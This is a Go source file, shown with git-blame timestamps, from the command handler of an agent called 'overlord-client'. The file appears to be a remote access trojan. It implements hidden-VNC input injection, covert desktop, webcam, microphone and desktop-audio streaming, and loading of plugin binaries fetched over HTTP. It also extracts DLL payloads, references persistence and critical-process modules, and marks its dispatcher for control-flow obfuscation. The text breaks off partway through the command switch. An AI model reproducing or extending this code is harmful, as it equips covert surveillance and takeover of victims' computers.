2026-03-05 00:04:26 -06:00
|
|
|
package handlers
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
2026-03-07 23:27:57 -06:00
|
|
|
"encoding/json"
|
2026-03-05 00:04:26 -06:00
|
|
|
"errors"
|
|
|
|
|
"log"
|
|
|
|
|
"os"
|
2026-03-21 17:42:31 -05:00
|
|
|
"os/exec"
|
2026-03-05 00:04:26 -06:00
|
|
|
goruntime "runtime"
|
|
|
|
|
"strconv"
|
|
|
|
|
"strings"
|
|
|
|
|
"sync"
|
2026-03-09 19:16:13 -05:00
|
|
|
"sync/atomic"
|
2026-03-05 00:04:26 -06:00
|
|
|
"time"
|
|
|
|
|
|
2026-03-07 23:27:57 -06:00
|
|
|
"overlord-client/cmd/agent/audio"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/capture"
|
|
|
|
|
"overlord-client/cmd/agent/console"
|
2026-04-03 10:47:05 -05:00
|
|
|
"overlord-client/cmd/agent/criticalproc"
|
2026-03-21 17:42:31 -05:00
|
|
|
"overlord-client/cmd/agent/filesearch"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/persistence"
|
|
|
|
|
"overlord-client/cmd/agent/plugins"
|
|
|
|
|
"overlord-client/cmd/agent/runtime"
|
2026-04-13 10:49:36 -05:00
|
|
|
"overlord-client/cmd/agent/sysinfo"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/wire"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
var ErrReconnect = errors.New("reconnect requested")
|
|
|
|
|
|
|
|
|
|
var (
|
2026-04-16 17:19:56 -05:00
|
|
|
activeCommands = make(map[string]context.CancelFunc)
|
|
|
|
|
activeCommandsMu sync.Mutex
|
|
|
|
|
voiceSessionMu sync.Mutex
|
|
|
|
|
voiceSession *voiceRuntime
|
|
|
|
|
desktopAudioMu sync.Mutex
|
|
|
|
|
desktopAudioSession *voiceRuntime
|
|
|
|
|
hvncInputOnce sync.Once
|
|
|
|
|
hvncInputQueue chan hvncInputEvent
|
|
|
|
|
hvncInputDropped atomic.Uint64
|
2026-03-05 00:04:26 -06:00
|
|
|
)
|
|
|
|
|
|
2026-03-09 19:16:13 -05:00
|
|
|
type hvncInputKind int
|
|
|
|
|
|
|
|
|
|
const (
|
|
|
|
|
hvncInputMouseMove hvncInputKind = iota
|
|
|
|
|
hvncInputMouseDown
|
|
|
|
|
hvncInputMouseUp
|
|
|
|
|
hvncInputMouseWheel
|
|
|
|
|
hvncInputKeyDown
|
|
|
|
|
hvncInputKeyUp
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type hvncInputEvent struct {
|
|
|
|
|
kind hvncInputKind
|
|
|
|
|
display int
|
|
|
|
|
x int32
|
|
|
|
|
y int32
|
|
|
|
|
button int
|
|
|
|
|
delta int32
|
|
|
|
|
vk uint16
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-07 23:27:57 -06:00
|
|
|
type voiceRuntime struct {
|
|
|
|
|
sessionID string
|
|
|
|
|
cancel context.CancelFunc
|
|
|
|
|
session *audio.Session
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func cancelAllCommands() {
|
|
|
|
|
activeCommandsMu.Lock()
|
|
|
|
|
defer activeCommandsMu.Unlock()
|
|
|
|
|
for id, cancel := range activeCommands {
|
|
|
|
|
if cancel != nil {
|
|
|
|
|
cancel()
|
|
|
|
|
}
|
|
|
|
|
delete(activeCommands, id)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func resetForReconnect(env *runtime.Env) {
|
|
|
|
|
if env == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
cancelAllCommands()
|
2026-04-08 14:14:09 -05:00
|
|
|
capture.ResetFrameSlots()
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
env.DesktopMu.Lock()
|
|
|
|
|
if env.DesktopCancel != nil {
|
|
|
|
|
env.DesktopCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
|
|
|
env.DesktopCancel = nil
|
|
|
|
|
env.DesktopDone = nil
|
|
|
|
|
env.MouseControl = false
|
|
|
|
|
env.KeyboardControl = false
|
|
|
|
|
env.CursorCapture = false
|
|
|
|
|
env.SelectedDisplay = GetPersistedDisplay()
|
|
|
|
|
env.DesktopMu.Unlock()
|
|
|
|
|
|
|
|
|
|
env.HVNCMu.Lock()
|
|
|
|
|
if env.HVNCCancel != nil {
|
|
|
|
|
env.HVNCCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
|
|
|
env.HVNCCancel = nil
|
|
|
|
|
env.HVNCDone = nil
|
|
|
|
|
env.HVNCMouseControl = false
|
|
|
|
|
env.HVNCKeyboardControl = false
|
|
|
|
|
env.HVNCCursorCapture = false
|
|
|
|
|
env.HVNCSelectedDisplay = 0
|
|
|
|
|
env.HVNCMu.Unlock()
|
|
|
|
|
|
2026-03-08 22:31:11 -05:00
|
|
|
env.WebcamMu.Lock()
|
|
|
|
|
if env.WebcamCancel != nil {
|
|
|
|
|
env.WebcamCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
|
|
|
env.WebcamCancel = nil
|
|
|
|
|
env.WebcamDone = nil
|
|
|
|
|
env.WebcamDeviceIndex = 0
|
|
|
|
|
env.WebcamFPS = 30
|
|
|
|
|
env.WebcamUseMaxFPS = false
|
|
|
|
|
env.WebcamMu.Unlock()
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
if env.Console != nil {
|
|
|
|
|
env.Console.StopAll()
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-07 23:27:57 -06:00
|
|
|
stopVoiceSession()
|
|
|
|
|
|
2026-03-15 16:14:50 -05:00
|
|
|
CleanupAllTunnels()
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
env.NotificationMu.Lock()
|
|
|
|
|
env.NotificationKeywords = nil
|
|
|
|
|
env.NotificationMinIntervalMs = 0
|
|
|
|
|
env.NotificationMu.Unlock()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func removePersistence() error {
|
|
|
|
|
return persistence.Remove()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func registerCancellableCommand(cmdID string, cancel context.CancelFunc) {
|
|
|
|
|
activeCommandsMu.Lock()
|
|
|
|
|
defer activeCommandsMu.Unlock()
|
|
|
|
|
activeCommands[cmdID] = cancel
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func unregisterCommand(cmdID string) {
|
|
|
|
|
activeCommandsMu.Lock()
|
|
|
|
|
defer activeCommandsMu.Unlock()
|
|
|
|
|
delete(activeCommands, cmdID)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func waitStreamStop(done <-chan struct{}, name string) {
|
|
|
|
|
if done == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
select {
|
|
|
|
|
case <-done:
|
|
|
|
|
return
|
|
|
|
|
case <-time.After(2 * time.Second):
|
|
|
|
|
log.Printf("%s: stop timed out", name)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-09 19:16:13 -05:00
|
|
|
func ensureHVNCInputWorker() {
|
|
|
|
|
hvncInputOnce.Do(func() {
|
|
|
|
|
hvncInputQueue = make(chan hvncInputEvent, 1024)
|
|
|
|
|
goSafe("hvnc input worker", nil, func() {
|
|
|
|
|
for ev := range hvncInputQueue {
|
|
|
|
|
switch ev.kind {
|
|
|
|
|
case hvncInputMouseMove:
|
|
|
|
|
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: mouse_move failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
case hvncInputMouseDown:
|
|
|
|
|
if ev.x != 0 || ev.y != 0 {
|
|
|
|
|
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
|
|
|
|
}
|
|
|
|
|
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: mouse_down failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
case hvncInputMouseUp:
|
|
|
|
|
if ev.x != 0 || ev.y != 0 {
|
|
|
|
|
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
|
|
|
|
}
|
|
|
|
|
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: mouse_up failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
case hvncInputMouseWheel:
|
|
|
|
|
if ev.x != 0 || ev.y != 0 {
|
|
|
|
|
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
|
|
|
|
}
|
|
|
|
|
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
case hvncInputKeyDown:
|
|
|
|
|
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
|
|
|
|
|
}
|
|
|
|
|
case hvncInputKeyUp:
|
|
|
|
|
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
|
|
|
|
|
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func enqueueHVNCInput(ev hvncInputEvent) {
|
|
|
|
|
ensureHVNCInputWorker()
|
|
|
|
|
select {
|
|
|
|
|
case hvncInputQueue <- ev:
|
|
|
|
|
return
|
|
|
|
|
default:
|
|
|
|
|
if ev.kind == hvncInputMouseMove {
|
|
|
|
|
dropped := hvncInputDropped.Add(1)
|
|
|
|
|
if dropped%100 == 1 {
|
|
|
|
|
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
|
|
|
|
|
}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
t := time.NewTimer(200 * time.Millisecond)
|
|
|
|
|
defer t.Stop()
|
|
|
|
|
select {
|
|
|
|
|
case hvncInputQueue <- ev:
|
|
|
|
|
case <-t.C:
|
|
|
|
|
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func clearHVNCInputQueue() {
|
|
|
|
|
if hvncInputQueue == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
for {
|
|
|
|
|
select {
|
|
|
|
|
case <-hvncInputQueue:
|
|
|
|
|
default:
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func payloadAsMap(payload interface{}) map[string]interface{} {
|
|
|
|
|
switch v := payload.(type) {
|
|
|
|
|
case map[string]interface{}:
|
|
|
|
|
return v
|
|
|
|
|
case map[interface{}]interface{}:
|
|
|
|
|
out := make(map[string]interface{}, len(v))
|
|
|
|
|
for key, val := range v {
|
|
|
|
|
switch ks := key.(type) {
|
|
|
|
|
case string:
|
|
|
|
|
out[ks] = val
|
|
|
|
|
case []byte:
|
|
|
|
|
out[string(ks)] = val
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return out
|
|
|
|
|
default:
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func payloadInt32(payload map[string]interface{}, key string) (int32, bool) {
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return 0, false
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload[key]; ok {
|
|
|
|
|
switch val := v.(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case float32:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case int:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case int8:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case int16:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case int32:
|
|
|
|
|
return val, true
|
|
|
|
|
case int64:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case uint:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case uint8:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case uint16:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case uint32:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
case uint64:
|
|
|
|
|
return int32(val), true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return 0, false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func payloadInt(payload map[string]interface{}, key string) (int, bool) {
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return 0, false
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload[key]; ok {
|
|
|
|
|
switch val := v.(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case float32:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case int:
|
|
|
|
|
return val, true
|
|
|
|
|
case int8:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case int16:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case int32:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case int64:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case uint:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case uint8:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case uint16:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case uint32:
|
|
|
|
|
return int(val), true
|
|
|
|
|
case uint64:
|
|
|
|
|
return int(val), true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return 0, false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func cancelCommand(cmdID string) bool {
|
|
|
|
|
activeCommandsMu.Lock()
|
|
|
|
|
defer activeCommandsMu.Unlock()
|
|
|
|
|
if cancel, exists := activeCommands[cmdID]; exists {
|
|
|
|
|
cancel()
|
|
|
|
|
delete(activeCommands, cmdID)
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) {
|
|
|
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok}
|
|
|
|
|
if message != "" {
|
|
|
|
|
res.Message = message
|
|
|
|
|
}
|
|
|
|
|
if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil {
|
|
|
|
|
log.Printf("command_result send failed: %v", err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-06 18:04:45 -05:00
|
|
|
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
|
|
|
|
|
go sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func payloadNumberToInt64(value interface{}) int64 {
|
|
|
|
|
switch v := value.(type) {
|
|
|
|
|
case int:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case int8:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case int16:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case int32:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case int64:
|
|
|
|
|
return v
|
|
|
|
|
case uint:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case float32:
|
|
|
|
|
return int64(v)
|
|
|
|
|
case float64:
|
|
|
|
|
return int64(v)
|
|
|
|
|
default:
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-07 23:27:57 -06:00
|
|
|
func stopVoiceSession() {
|
|
|
|
|
voiceSessionMu.Lock()
|
|
|
|
|
v := voiceSession
|
|
|
|
|
voiceSession = nil
|
|
|
|
|
voiceSessionMu.Unlock()
|
|
|
|
|
if v == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if v.cancel != nil {
|
|
|
|
|
v.cancel()
|
|
|
|
|
}
|
|
|
|
|
if v.session != nil {
|
|
|
|
|
_ = v.session.Close()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
|
|
|
|
|
if sessionID == "" {
|
|
|
|
|
return errors.New("missing voice session id")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
stopVoiceSession()
|
|
|
|
|
|
|
|
|
|
vCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) {
|
|
|
|
|
if len(chunk) == 0 {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
msg := map[string]interface{}{
|
|
|
|
|
"type": "voice_uplink",
|
|
|
|
|
"sessionId": sessionID,
|
|
|
|
|
"data": chunk,
|
|
|
|
|
}
|
|
|
|
|
_ = wire.WriteMsg(vCtx, env.Conn, msg)
|
|
|
|
|
})
|
|
|
|
|
if err != nil {
|
|
|
|
|
cancel()
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
|
|
|
|
|
voiceSessionMu.Lock()
|
|
|
|
|
voiceSession = v
|
|
|
|
|
voiceSessionMu.Unlock()
|
|
|
|
|
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func writeVoiceDownlink(data []byte) error {
|
|
|
|
|
voiceSessionMu.Lock()
|
|
|
|
|
v := voiceSession
|
|
|
|
|
voiceSessionMu.Unlock()
|
|
|
|
|
if v == nil || len(data) == 0 {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
if v.session == nil {
|
|
|
|
|
return errors.New("voice session not ready")
|
|
|
|
|
}
|
|
|
|
|
if err := v.session.WritePlayback(data); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-16 17:19:56 -05:00
|
|
|
func stopDesktopAudioSession() {
|
|
|
|
|
desktopAudioMu.Lock()
|
|
|
|
|
v := desktopAudioSession
|
|
|
|
|
desktopAudioSession = nil
|
|
|
|
|
desktopAudioMu.Unlock()
|
|
|
|
|
if v == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if v.cancel != nil {
|
|
|
|
|
v.cancel()
|
|
|
|
|
}
|
|
|
|
|
if v.session != nil {
|
|
|
|
|
_ = v.session.Close()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
|
|
|
|
|
if sessionID == "" {
|
|
|
|
|
return errors.New("missing desktop audio session id")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
stopDesktopAudioSession()
|
|
|
|
|
|
|
|
|
|
vCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) {
|
|
|
|
|
if len(chunk) == 0 {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
msg := map[string]interface{}{
|
|
|
|
|
"type": "desktop_audio_uplink",
|
|
|
|
|
"sessionId": sessionID,
|
|
|
|
|
"data": chunk,
|
|
|
|
|
}
|
|
|
|
|
_ = wire.WriteMsg(vCtx, env.Conn, msg)
|
|
|
|
|
})
|
|
|
|
|
if err != nil {
|
|
|
|
|
cancel()
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
|
|
|
|
|
desktopAudioMu.Lock()
|
|
|
|
|
desktopAudioSession = v
|
|
|
|
|
desktopAudioMu.Unlock()
|
|
|
|
|
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-11 23:11:44 -05:00
|
|
|
func extractDLLBytes(payload map[string]interface{}) []byte {
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["dll"].(type) {
|
|
|
|
|
case []byte:
|
|
|
|
|
return v
|
|
|
|
|
case string:
|
|
|
|
|
if len(v) > 0 {
|
|
|
|
|
return []byte(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-16 10:01:49 -05:00
|
|
|
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["capture_dll"].(type) {
|
|
|
|
|
case []byte:
|
|
|
|
|
return v
|
|
|
|
|
case string:
|
|
|
|
|
if len(v) > 0 {
|
|
|
|
|
return []byte(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-03-05 00:04:26 -06:00
|
|
|
cmdID, _ := envelope["id"].(string)
|
|
|
|
|
action, _ := envelope["commandType"].(string)
|
|
|
|
|
|
|
|
|
|
switch action {
|
|
|
|
|
case "screenshot":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
allDisplays := false
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["allDisplays"].(bool); ok && v {
|
|
|
|
|
allDisplays = true
|
|
|
|
|
} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
|
|
|
|
|
allDisplays = true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if goruntime.GOOS == "windows" {
|
|
|
|
|
allDisplays = true
|
|
|
|
|
}
|
|
|
|
|
return HandleScreenshot(ctx, env, cmdID, allDisplays)
|
|
|
|
|
case "plugin_load":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
|
|
|
|
}
|
|
|
|
|
manifestRaw, _ := payload["manifest"].(map[string]interface{})
|
2026-03-19 16:29:26 -05:00
|
|
|
binaryBytes, _ := payload["binary"].([]byte)
|
2026-03-05 00:04:26 -06:00
|
|
|
if env.Plugins == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"})
|
|
|
|
|
}
|
|
|
|
|
manifest, err := plugins.ManifestFromMap(manifestRaw)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
2026-05-04 19:56:36 -05:00
|
|
|
go func() {
|
|
|
|
|
if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
}()
|
|
|
|
|
return nil
|
2026-05-03 22:37:08 -05:00
|
|
|
case "plugin_load_http":
|
2026-03-05 00:04:26 -06:00
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
2026-05-03 22:37:08 -05:00
|
|
|
if payload == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
manifestRaw, _ := payload["manifest"].(map[string]interface{})
|
|
|
|
|
manifest, err := plugins.ManifestFromMap(manifestRaw)
|
|
|
|
|
if err != nil {
|
2026-05-03 22:37:08 -05:00
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-05-03 22:37:08 -05:00
|
|
|
pullURL, _ := payload["url"].(string)
|
|
|
|
|
expectedSize := int64(toInt(payload["size"]))
|
2026-05-04 19:56:36 -05:00
|
|
|
go HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "plugin_unload":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil || env.Plugins == nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
pluginId, _ := payload["pluginId"].(string)
|
|
|
|
|
if pluginId == "" {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
env.Plugins.Unload(pluginId)
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_start":
|
2026-04-13 10:49:36 -05:00
|
|
|
if goruntime.GOOS == "darwin" {
|
|
|
|
|
perms := sysinfo.DarwinPermissions()
|
|
|
|
|
var missing []string
|
|
|
|
|
if !perms["screenRecording"] {
|
|
|
|
|
missing = append(missing, "screenRecording")
|
|
|
|
|
}
|
|
|
|
|
if !perms["accessibility"] {
|
|
|
|
|
missing = append(missing, "accessibility")
|
|
|
|
|
}
|
|
|
|
|
if len(missing) > 0 {
|
|
|
|
|
log.Printf("desktop: macOS missing permissions: %v", missing)
|
|
|
|
|
detail, _ := json.Marshal(map[string]interface{}{
|
|
|
|
|
"reason": "permissions_denied",
|
|
|
|
|
"missing": missing,
|
|
|
|
|
"permissions": perms,
|
|
|
|
|
})
|
|
|
|
|
sendCommandResultSafe(env, cmdID, false, string(detail))
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
env.DesktopMu.Lock()
|
|
|
|
|
if env.DesktopCancel != nil {
|
|
|
|
|
env.DesktopCancel()
|
|
|
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
|
|
|
}
|
|
|
|
|
desktopCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
env.DesktopCancel = cancel
|
|
|
|
|
done := make(chan struct{})
|
|
|
|
|
env.DesktopDone = done
|
|
|
|
|
goSafe("desktop stream", env.Cancel, func() {
|
|
|
|
|
log.Printf("desktop: start requested")
|
|
|
|
|
_ = DesktopStart(desktopCtx, env)
|
|
|
|
|
close(done)
|
|
|
|
|
})
|
|
|
|
|
env.DesktopMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_stop":
|
|
|
|
|
env.DesktopMu.Lock()
|
|
|
|
|
log.Printf("desktop: stop requested")
|
|
|
|
|
if env.DesktopCancel != nil {
|
|
|
|
|
env.DesktopCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
|
|
|
env.DesktopCancel = nil
|
|
|
|
|
env.DesktopDone = nil
|
|
|
|
|
env.DesktopMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_select_display":
|
|
|
|
|
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
disp := 0
|
|
|
|
|
if payload != nil {
|
|
|
|
|
displayVal := payload["display"]
|
|
|
|
|
|
|
|
|
|
if v, ok := displayVal.(int8); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int16); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int32); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int64); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int); ok {
|
|
|
|
|
disp = v
|
|
|
|
|
} else if v, ok := displayVal.(uint8); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(float64); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
